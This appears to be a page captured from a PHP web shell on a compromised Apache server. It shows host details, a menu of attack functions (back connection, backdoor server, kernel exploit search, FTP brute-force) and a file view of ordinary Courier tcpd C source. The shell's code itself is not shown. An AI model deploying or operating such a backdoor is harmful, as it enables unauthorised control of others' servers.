|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 27.58 GB of 70.42 GB (39.17%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
usr/
src/
courier-0.66.1/
tcpd/
- drwxrwxrwx
|
Viewing file: tcpdaccess.c (935 B) -rw-rw-rw-Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
/* ** Copyright 1998 - 2000 Double Precision, Inc. ** See COPYING for distribution information. */
#if HAVE_CONFIG_H #include "config.h" #endif #include <stdio.h> #include <errno.h> #include <string.h> #include <stdlib.h> #include <ctype.h> #include "dbobj.h"
static struct dbobj db; static int db_isopen=0, db_isinit=0;
int openaccess(const char *filename) { if (!db_isinit) { dbobj_init(&db); db_isinit=1; } if (db_isopen) { dbobj_close(&db); db_isopen=0; }
if (dbobj_open(&db, filename, "R")) return (-1); db_isopen=1; return (0); }
void closeaccess() { if (!db_isopen) return; dbobj_close(&db); db_isopen=0; }
char *chkaccess(const char *ip) { size_t l; char *p, *q;
if (!db_isopen) return (0);
p=dbobj_fetch(&db, ip, strlen(ip), &l, "");
if (!p) return (0); q=(char *)malloc(l+1); if (!q) { perror("malloc"); free(p); return (0); } memcpy(q, p, l); q[l]=0; free(p); return (q); }
|